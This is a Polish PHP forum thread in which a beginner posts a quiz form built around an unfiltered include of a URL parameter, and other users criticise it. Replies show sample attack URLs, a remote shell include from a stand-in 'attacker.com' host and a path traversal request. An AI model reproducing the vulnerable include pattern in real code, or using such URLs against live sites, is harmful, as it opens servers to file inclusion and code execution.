Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [PHP]POST, GET obojętnie co nie przesyła danych dalej.
luke18dg
post
Post #1





Grupa: Zarejestrowani
Postów: 79
Pomógł: 0
Dołączył: 26.03.2011
Skąd: Dąbrowa Górnicza

Ostrzeżenie: (0%)
-----

Witam, mój problem jest krótki ale kody już nie. Nie mam pomysłu dlaczego moje dane wpisane formularz nie są wysyłane dalej.
Tablica, którą zapisuje w sesji działa tak piknię, ale już nie dane, które wpisuje w formularz.
Żeby ładnie utrzymać ten sam adres czyli indexhome.php używam takiego kodu:
indexhome.php
[PHP] pobierz, plaintext 
  1. <?php
  2.  if(!isset($_GET['url']))
  3.  {include('home.php');}
  4.  else
  5.  {
  6.   if (is_file($_GET['url'].'.php'))
  7.   {include($_GET['url'].'.php');}   
  8.   else {echo'Error 500002 - Brak strony o podanej nazwie.';}        
  9.  }                             
  10. ?>
[PHP] pobierz, plaintext

Dlatego konsekwencją jest to, że w akcji formularza mam:
[PHP] pobierz, plaintext 
  1. <form action="indexhome.php" method="GET">
[PHP] pobierz, plaintext

A musi być w GET ponieważ poprzez ukryte pole w formularzu wracam na stronę docelową, którą chce uzyskać.
[PHP] pobierz, plaintext 
  1. <input type="hidden" name="url" value="dodawaniequizu">
[PHP] pobierz, plaintext


A wpisując coś w formularz i naciskając przycisk, na stronie "walidacjadodawaniaquizu" nic się nie pojawia? Czemu?

Jeśli te kawałki były nieprzyjazne dla was zamieszczam te 3 strony, które sprawiają mi sen z powiek.
indexhome.php
[PHP] pobierz, plaintext 
  1. <?php
  2.  if(!isset($_GET['url']))
  3.  {include('home.php');}
  4.  else
  5.  {
  6.   if (is_file($_GET['url'].'.php'))
  7.   {include($_GET['url'].'.php');}   
  8.   else {echo'Error 500002 - Brak strony o podanej nazwie.';}        
  9.  }                             
  10. ?>
[PHP] pobierz, plaintext

dodawaniequizu.php
[PHP] pobierz, plaintext 
  1. <?php
  2. session_start();
  3.  /*
  4.   W - pole wielokrotnego wyboru
  5.   J - pole jednokrotnego wyboru
  6.   T - pole tekstowe
  7.  */
  8.  if(!(empty($_GET['wysylanie'])))
  9.  {
  10.   if(($_GET['wysylanie'])=='Wyslij')
  11.   {
  12.    header('Refresh:0; URL=indexhome.php?url=walidacjadodawaniaquizu');
  13.    exit();
  14.   }
  15.  }
  16.  if(!(empty($_SESSION['dane']))){$tablica=$_SESSION['dane'];}
  17.  if(!(empty($tablica)))
  18.  {
  19.   $keys=array_keys($tablica);
  20.   $ostatni=$keys[count($keys)-1];
  21.   $ostatni+=1;	
  22.  }
  23.  else {$ostatni=1;}
  24.  if(!(empty($_GET['dodac'])))
  25.  {
  26.   switch($_GET['dodac'])
  27.   {
  28.    case 'pole_wielokrotnego':
  29.    {
  30.     $tablica[$ostatni]['name']='pytanie'.$ostatni;
  31.     $tablica[$ostatni]['value']='';
  32.     $tablica[$ostatni]['typpola']='W';
  33.     $tablica[$ostatni]['poprawna']='';
  34.     $tablica[$ostatni]['liczbaodp']=0;
  35. 	break;
  36.    }
  37.    case 'pole_jednokrotnego':
  38.    {
  39.     $tablica[$ostatni]['name']='pytanie'.$ostatni;
  40.     $tablica[$ostatni]['value']='';
  41. 	$tablica[$ostatni]['typpola']='J';
  42.     $tablica[$ostatni]['poprawna']='';
  43.     $tablica[$ostatni]['liczbaodp']=0;
  44. 	break;
  45.    }
  46.    case 'pole_tekstowe':
  47.    {
  48.     $tablica[$ostatni]['name']='pytanie'.$ostatni;
  49. 	$tablica[$ostatni]['typpola']='T';
  50.     $tablica[$ostatni]['value']='';
  51. 	break;
  52.    }
  53.   }
  54.   $odpowiedznr=explode(':',$_GET['dodac']);
  55.   $keys = array_keys($odpowiedznr);
  56.   $ostatniodp = $keys[count($keys)-1];   
  57.   if($ostatniodp>0) {$tablica[$odpowiedznr[1]]['liczbaodp']+=1;}
  58.   unset($_GET['dodac']);
  59.  }
  60.  echo '<html><head><title>Tworus Lukasz</title><meta name="author" content="Tworus Łukasz"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  61.   </head><body><form action="indexhome.php" method="GET"><table border="1">';
  62.  if(!(empty($tablica)))
  63.  {
  64.   for($i=1; $i<$ostatni; $i++)
  65.   {
  66.    switch($tablica[$i]['typpola'])
  67.    {
  68.     case 'T':
  69.     {
  70.      echo '<tr><td>'.$i.' <input type="text" name="'.$tablica[$i]['name'].'"'; 
  71.      if(!(empty($tablica[$i]['value']))) {echo 'value="'.$tablica[$i]['value'].'"';} 
  72.      echo '></td></tr>';
  73. 	 break;
  74.     }
  75. 	case 'J':
  76.     {
  77.      echo '<tr><td>'.$i.' <input type="text" name="'.$tablica[$i]['name'].'"';
  78.      if(!(empty($tablica[$i]['value']))) {echo 'value="'.$tablica[$i]['value'].'"';}
  79. 	 echo '></td></tr>';
  80. 	 if($tablica[$i]['liczbaodp']==0) {$tablica[$i]['liczbaodp']=1;}
  81. 	 for($j=0; $j<$tablica[$i]['liczbaodp']+1; $j++)
  82. 	 {
  83. 	  echo '<tr><td>
  84. 	   <input type="radio" name="odpowiedz:'.$i.'" value="'.$j.'">
  85. 	   <input type="text" name="odpowiedztekst:'.$i.':'.$j.'"';
  86. 	  if(!(empty($tablica[$i][$j]))){echo 'value="'.$tablica[$i][$j].'"';}
  87. 	  echo'></td></tr>';
  88. 	 }
  89. 	 echo '<tr><td><input type="submit" value="dodajodp:'.$i.'" name="dodac"></td></tr>';
  90. 	 break;
  91.     }
  92. 	case 'W':
  93. 	{
  94. 	 echo '<tr><td>'.$i.' <input type="text" name="'.$tablica[$i]['name'].'"';
  95.      if(!(empty($tablica[$i]['value']))) {echo 'value="'.$tablica[$i]['value'].'"';}
  96. 	 echo '></td></tr>';
  97. 	 if($tablica[$i]['liczbaodp']==0) {$tablica[$i]['liczbaodp']=1;}
  98. 	 for($j=0; $j<$tablica[$i]['liczbaodp']+1; $j++)
  99. 	 {
  100. 	  echo '<tr><td>
  101. 	   <input type="checkbox" name="odpowiedz:'.$i.'" value="'.$j.'">
  102. 	   <input type="text" name="odpowiedztekst:'.$i.':'.$j.'"';
  103. 	  if(!(empty($tablica[$i][$j]))){echo 'value="'.$tablica[$i][$j].'"';}
  104. 	  echo'></td></tr>';
  105. 	 }
  106. 	 echo '<tr><td><input type="submit" value="dodajodp:'.$i.'" name="dodac"></td></tr>';
  107. 	 break;
  108. 	}
  109.    }
  110.   }
  111.   print_r($tablica);
  112.   $_SESSION['dane']=$tablica;
  113.  }
  114.  echo'<tr><td><input type="submit" value="pole_wielokrotnego" name="dodac"><input type="submit" value="pole_jednokrotnego" name="dodac"> 
  115.  <input type="submit" value="pole_tekstowe" name="dodac"> <br></td><tr><td><input type="hidden" name="url" value="dodawaniequizu">
  116.  <input type="submit" value="Wyslij" name="wysylanie"></td></tr></table></form></body></html>'; 
  117. ?>
[PHP] pobierz, plaintext

walidacjadodawaniequizu.php
[PHP] pobierz, plaintext 
  1. <?php
  2. session_start();
  3.  if(!(empty($_GET['nazwa'])))
  4.  {
  5.   if(($_GET['nazwa'])=='kasujsesje')
  6.   {
  7.    unset($_SESSION['dane']);
  8.    header('Location: indexhome.php?url=dodawaniequizu');
  9.    exit();  
  10.   }
  11.   if(($_GET['nazwa'])=='pozostawsesje')
  12.   {
  13.    header('Location: indexhome.php?url=dodawaniequizu');
  14.    exit();
  15.   }
  16.  }
  17.  echo 'SESJA <br>';
  18.  print_r($_SESSION['dane']);
  19.  echo '<BR><BR><BR><BR>';
  20.  echo 'POST<BR>';
  21.  print_r($_POST);
  22.  echo '<BR><BR><BR><BR>';
  23.  echo 'GET<BR>';
  24.  print_r($_GET);
  25.  echo '
  26.  <form action="indexhome.php">
  27.   <input type="submit" value="kasujsesje" name="nazwa">
  28.   <input type="submit" value="pozostawsesje" name="nazwa">
  29.   <input type="hidden" name="url" value="walidacjadodawaniaquizu">
  30.  </form>';
  31. ?>
[PHP] pobierz, plaintext
Go to the top of the page
+Quote Post
 
 Start new topic
Odpowiedzi (1 - 10)
!*!
post
Post #2





Grupa: Zarejestrowani
Postów: 4 298
Pomógł: 447
Dołączył: 16.11.2006

Ostrzeżenie: (0%)
-----

1. Twój kod jest dziurawy
2. Twój kod jest źle napisany
3. z debuguj swój kod var_dump linijka po linijce i będziesz wiedział w którym miejscu i dlaczego gubisz dane.
Go to the top of the page
+Quote Post
luke18dg
post
Post #3





Grupa: Zarejestrowani
Postów: 79
Pomógł: 0
Dołączył: 26.03.2011
Skąd: Dąbrowa Górnicza

Ostrzeżenie: (0%)
-----

Czy można prosić o wskazanie dlaczego jest źle napisany/gdzie gubię dane, gdyż każda uwaga, która może pomóc udoskonalić/poprawić moje działania jest bardzo ważna dla mnie.
Go to the top of the page
+Quote Post
pyro
post
Post #4





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----

Cytat(luke18dg @ 17.02.2013, 15:28:08 ) *
Czy można prosić o wskazanie dlaczego jest źle napisany/gdzie gubię dane, gdyż każda uwaga, która może pomóc udoskonalić/poprawić moje działania jest bardzo ważna dla mnie.


Cytat(!*! @ 17.02.2013, 12:08:10 ) *
1. Twój kod jest dziurawy


Wyobraź sobie, że ktoś wpisze http://twojastrona.pl?url=http://attacker.com/php_shell

Cytat(!*! @ 17.02.2013, 12:08:10 ) *
2. Twój kod jest źle napisany


Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc no i przyszedłes tu, bo w końcu nie działa (IMG:style_emoticons/default/smile.gif)

Cytat(luke18dg @ 17.02.2013, 15:28:08 ) *
gdzie gubię dane


Cytat(!*! @ 17.02.2013, 12:08:10 ) *
3. z debuguj swój kod var_dump linijka po linijce i będziesz wiedział w którym miejscu i dlaczego gubisz dane.
Go to the top of the page
+Quote Post
luke18dg
post
Post #5





Grupa: Zarejestrowani
Postów: 79
Pomógł: 0
Dołączył: 26.03.2011
Skąd: Dąbrowa Górnicza

Ostrzeżenie: (0%)
-----

Cytat(pyro @ 17.02.2013, 15:43:03 ) *
Wyobraź sobie, że ktoś wpisze http://twojastrona.pl?url=http://attacker.com/php_shell

Dlatego mam taki kod. 
[PHP] pobierz, plaintext 
  1. <?php
  2.  if(!isset($_GET['url']))
  3.  {include('home.php');}
  4.  else
  5.  {
  6.   if (is_file($_GET['url'].'.php'))
  7.   {include($_GET['url'].'.php');}   
  8.   else {echo'Error 500002 - Brak strony o podanej nazwie.';}        
  9.  }                             
  10. ?>
[PHP] pobierz, plaintext

Prawdopodobnie wypiszę brak strony lub zgłupieje z powodu podwójnych rozszerzeń lub będzie próbowało szukać strony w katalogu o nazwie "http://attacker.com/php_shell.php"

Cytat(pyro @ 17.02.2013, 15:43:03 ) *
Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc no i przyszedłes tu, bo w końcu nie działa (IMG:style_emoticons/default/smile.gif)

Prawda przyszedłem ponieważ nie działa. Ale zbytnio nie rozumiem:
Cytat
Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc

O co tutaj chodzi bo zbytnio nie zrozumiałem? Prawdopodobnie chodzi o wcięcia i to przyznam fakt nie wiedziałem, czy łączyć jak php czy zachować wcięcia dla html. A zapisu If(warunek){
instrukcje
} nie uważam za czytelny ponieważ pierwsza klamra, jest nie widoczna podczas scrolowania kodu (IMG:style_emoticons/default/smile.gif)
Dziękuje za odzew i czekam na odpowiedz : )
Go to the top of the page
+Quote Post
foxbond
post
Post #6





Grupa: Zarejestrowani
Postów: 162
Pomógł: 12
Dołączył: 20.12.2009
Skąd: Siedlce

Ostrzeżenie: (0%)
-----

Cytat
Prawdopodobnie wypiszę brak strony lub zgłupieje z powodu podwójnych rozszerzeń lub będzie próbowało szukać strony w katalogu o nazwie "http://attacker.com/php_shell.php"


Jeżeli bodajże allow_url_include=1 (czyjakoś tak w php.ini) wykonasz skrypt "http://attacker.com/php_shell.php"


Cytat
Prawda przyszedłem ponieważ nie działa. Ale zbytnio nie rozumiem:

Cytat
Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc

O co tutaj chodzi bo zbytnio nie zrozumiałem? Prawdopodobnie chodzi o wcięcia i to przyznam fakt nie wiedziałem, czy łączyć jak php czy zachować wcięcia dla html. A zapisu If(warunek){
instrukcje
} nie uważam za czytelny ponieważ pierwsza klamra, jest nie widoczna podczas scrolowania kodu
Dziękuje za odzew i czekam na odpowiedz : )


Chodzi o to, aby oddzielna klasa/funkcja/blok kodu odpowiadał za wyświetlenie strony dla użytkownika, a oddzielny za obliczenia/komunikację z bazą itp.
Go to the top of the page
+Quote Post
!*!
post
Post #7





Grupa: Zarejestrowani
Postów: 4 298
Pomógł: 447
Dołączył: 16.11.2006

Ostrzeżenie: (0%)
-----

Cytat(luke18dg @ 17.02.2013, 17:08:31 ) *
Dlatego mam taki kod. 
[PHP] pobierz, plaintext 
  1. <?php
  2.  if(!isset($_GET['url']))
  3.  {include('home.php');}
  4.  else
  5.  {
  6.   if (is_file($_GET['url'].'.php'))
  7.   {include($_GET['url'].'.php');}   
  8.   else {echo'Error 500002 - Brak strony o podanej nazwie.';}        
  9.  }                             
  10. ?>
[PHP] pobierz, plaintext


Kod
http://example/index.php?url=../../../admin/rozpocznij_zaglade.php


Teraz już rozumiesz? Nie wczytuje się plików bezpośrednio z url, zakładając że to jego nazwa, poza tym nie filtrujesz tego w ogóle... a poza tym nie warto pisać poraz 100 tego samego, przejrzyj forum, jest dużo na ten temat.

Ten post edytował !*! 17.02.2013, 18:20:58
Go to the top of the page
+Quote Post
luke18dg
post
Post #8





Grupa: Zarejestrowani
Postów: 79
Pomógł: 0
Dołączył: 26.03.2011
Skąd: Dąbrowa Górnicza

Ostrzeżenie: (0%)
-----

Rozumiem, zagrożenie związane z URL tylko nie rozumiem, twoich obaw związanych z filtrowaniem?
Tak jak kolega wypowiedział się wyżej jeśli mam wyłączoną tą funkcję "allow_url_include=1 " to powinienem być bezpieczny.
Rozumiem filtrowanie gdy użytkownik podaje bezpośrednio dane, które będą zapisywane w bazie. Tutaj wydaje mi się, że funkcje pełni is_file, który mi ma sprawdzać czy taki plik istnieje z końcówką php. Wynikiem wywołania adresu URL prawdopodobnie okaże się false. Ponieważ nie znajdzie w aktualnym katalogu takiego pliku. A zbytnio nie rozumiem jak by to haker miał się "wcisnąć" przez ftp, które jest o wiele lepiej zabezpieczone (IMG:style_emoticons/default/smile.gif)

Ten post edytował luke18dg 18.02.2013, 03:26:51
Go to the top of the page
+Quote Post
com
post
Post #9





Grupa: Zarejestrowani
Postów: 3 034
Pomógł: 366
Dołączył: 24.05.2012

Ostrzeżenie: (0%)
-----

url powinieneś filtrować zawsze bo wystarczy, że wpisze
Kod
http://127.0.0.1/indexhome.php?url=indexhome
i już Ci się zapętli wywołanie w nieskończoność (IMG:style_emoticons/default/wink.gif) pozatym jak sam wspomniałeś może sie pojawić problem podwójnego roszerzenia, kiedy ktoś wpisze adres w url nawet poprawny adres ale z roszerzeniem i wtedy też mu sie pojawi komunikat Error 500002 - Brak strony o podanej nazwie. (IMG:style_emoticons/default/wink.gif) btw o wiele prosciej byłoby uzyć mod_rewrite i wyrazeń reguralnych (IMG:style_emoticons/default/wink.gif)

A co do czytelności kodu to polecam lekture na temat MVC(czyli oddzielienie widoku od danych pobieranych i kontroli nad nimi) , bo obecnie bez tego ani rusz (IMG:style_emoticons/default/wink.gif)

Ten post edytował com 18.02.2013, 02:09:39
Go to the top of the page
+Quote Post
luke18dg
post
Post #10





Grupa: Zarejestrowani
Postów: 79
Pomógł: 0
Dołączył: 26.03.2011
Skąd: Dąbrowa Górnicza

Ostrzeżenie: (0%)
-----

I takiej konkretnej odpowiedzi oczekiwałem, dziękuje. : )
Go to the top of the page
+Quote Post
!*!
post
Post #11





Grupa: Zarejestrowani
Postów: 4 298
Pomógł: 447
Dołączył: 16.11.2006

Ostrzeżenie: (0%)
-----

Cytat(luke18dg @ 18.02.2013, 01:29:10 ) *
Rozumiem, zagrożenie związane z URL tylko nie rozumiem, twoich obaw związanych z filtrowaniem?
Tak jak kolega wypowiedział się wyżej jeśli mam wyłączoną tą funkcję "allow_url_include=1 " to powinienem być bezpieczny.
Rozumiem filtrowanie gdy użytkownik podaje bezpośrednio dane, które będą zapisywane w bazie. Tutaj wydaje mi się, że funkcje pełni is_file, który mi ma sprawdzać czy taki plik istnieje z końcówką php. Wynikiem wywołania adresu URL prawdopodobnie okaże się false. Ponieważ nie znajdzie w aktualnym katalogu takiego pliku. A zbytnio nie rozumiem jak by to haker miał się "wcisnąć" przez ftp, które jest o wiele lepiej zabezpieczone (IMG:style_emoticons/default/smile.gif)


Skąd myśl że is_file Cie przed czymś broni? Przeczytałeś od czego ona jest? Tak samo allow_url_include? Wątpię.
Skoro inne pliki masz z rozszerzeniem .php to oczywiste że mogę wczytać każdy jaki mi się tylko podoba.

Nie ma sensu prowadzić dalej tej dyskusji. Tematów było o tym więcej na forum niż użytkowników.

Ten post edytował !*! 18.02.2013, 10:40:26
Go to the top of the page
+Quote Post
« Następny starszy · Przedszkole · Następny nowszy »
 

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 

Tryb wyświetlania: Przełącz na: Standardowy · Linearny+ · Przełącz na: Drzewo

Śledź ten temat · Wyślij temat na e-mail · Wydrukuj ten temat · Subskrybuj to forum

RSS Aktualny czas: 2.10.2025 - 00:39
Powered By IP.Board © 2025  IPS, Inc.
All changes by PHP.pl Administrators
Hosting zapewnia NQ.pl hosting, trac, svn